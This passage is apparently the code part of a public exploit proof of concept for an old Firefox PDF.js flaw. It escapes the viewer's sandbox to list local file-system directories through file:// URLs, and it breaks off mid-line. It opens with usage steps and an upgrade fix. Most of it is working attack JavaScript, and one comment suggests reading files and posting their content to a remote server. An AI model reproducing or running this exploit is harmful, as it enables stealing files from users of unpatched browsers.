+ + + + + Run the index.html (Make sure the main.js is in the same directory) and we should be able to see the directory listing. + +3. Solution + Upgrade to the latest firefox ( > 39.0.3) + +*/ + +var start_timeout=2000; +var sandbox_context_i=null; +var DIR_CACHE={}; +var FILE_CACHE={}; +var hidden=true; +var my_win_id=null; + +function start() { + i=document.getElementById("i"); + i2=document.getElementById("i2"); + if(typeof sandboxContext!=='undefined') { + clearInterval(intVal); + var os = navigator.platform; + + if (os.search("Mac") > -1 || os.search("Linux") > -1) { + // NOTE: Replace the following root directory into any directory of your + // choice. Can make it an array and loop through it. + get_dir("/", function(data) { + // nothing to do here... + }); + } + } +} + +function parse_directory_listing(dir, data) { + var pattern = '= 0) { + var d = data.substring(start + pattern.length + 1), + end = d.search('>'), + f = d.substring(0, end); + f = f.split(' '); + var t = f[0].substring(0, f[0].length-1); + var n = f[1].substring(6, f[1].length-1); + listing += ' [' + t + '] ' + dir + '/' + n + '\n'; + data = d.substring(end); + } + + // NOTE: Replace with some other useful stuff. Eg: Read the file and do a post + // request to send all the content to a remote server. + alert(listing); +} + +function get_dir(dir,callback,internal) { + get(dir,function() { + data=get_data(this); + var dir=location.href.toString(); + dir=dir.replace(/^file\:\/\//i,''); + dir=decodeURIComponent(dir); + parse_directory_listing(dir, data); + }, 500, "%target_dir%", dir); +} + +function xml2string(obj) { + return new XMLSerializer().serializeToString(obj); +} + +function _(s,template,value) { + s=s.toString().split(/^\s*function\s+\(\s*\)\s*\{/)[1]; + s=s.substring(0,s.length-1); + if(template&&value) + s=s.replace(template,value); + + s+=parse_directory_listing; + s+=__proto; + s+=xml2string; + s+=get_data; + s=s.replace(/\s\/\/.*\n/g,""); + s=s+";undefined"; + + return s; +} + +function __proto(obj) { + return obj.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__; +} + +function get_data(obj) { + data=null; + try { + data=obj.document.documentElement.innerHTML; + if (data.indexOf('dirListing') < 0) { + throw new Error(); + } + } catch(e) { + if (this.document instanceof XMLDocument) { + data=xml2string(this.document); + } else { + try { + if (this.document.body.firstChild.nodeName.toUpperCase()=='PRE') { + data=this.document.body.firstChild.textContent; + } else { + throw new Error(); + } + } catch(e) { + try { + if (this.document.body.baseURI.indexOf('pdf.js') >= 0 || data.indexOf('aboutNetError') >- 1 ) { + return null; + } else { + throw new Error(); + } + } catch(e) { + ; + } + } + } + } + return data; +} + +function get(path,callback,timeout,template,value){ + callback = _(callback); + if(template && value) callback = callback.replace(template,value); + + proto_prefix="file://"; + var invisible_code=""; + js_call1='javascript:'+invisible_code+_(function(){ + try { + open("%url%","_self"); + } catch(e) { + history.back(); + } undefined; + }, "%url%", proto_prefix+path); + js_call2='javascript:' + invisible_code + ';try{updateHidden();}catch(e){};' + callback + ';undefined'; + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow,'location'); + l.call(i2.contentWindow, window.wrappedJSObject.js_call1); + })); + setTimeout((function() { + sandboxContext(_(function() { + p = __proto(i.contentDocument.styleSheets[0].ownerNode); + l = p.__lookupSetter__.call(i2.contentWindow,'location'); + l.call(i2.contentWindow,window.wrappedJSObject.js_call2); + })); + }), timeout); +} + +function get_sandbox_context() { + if(my_win_id==null) { + for(var i=0;i<20;i++) { + try { + if(window[i].location.toString().indexOf("view-source:")!=-1) { + my_win_id=i;;break; + } + } catch(e) {} + } + }; + if(my_win_id==null) return; + clearInterval(sandbox_context_i); + object.data='view-source:' + blobURL; + window[my_win_id].location='data:application/x-moz-playpreview-pdfjs;,'; + object.data='data:text/html,'; + window[my_win_id].frameElement.insertAdjacentHTML('beforebegin', '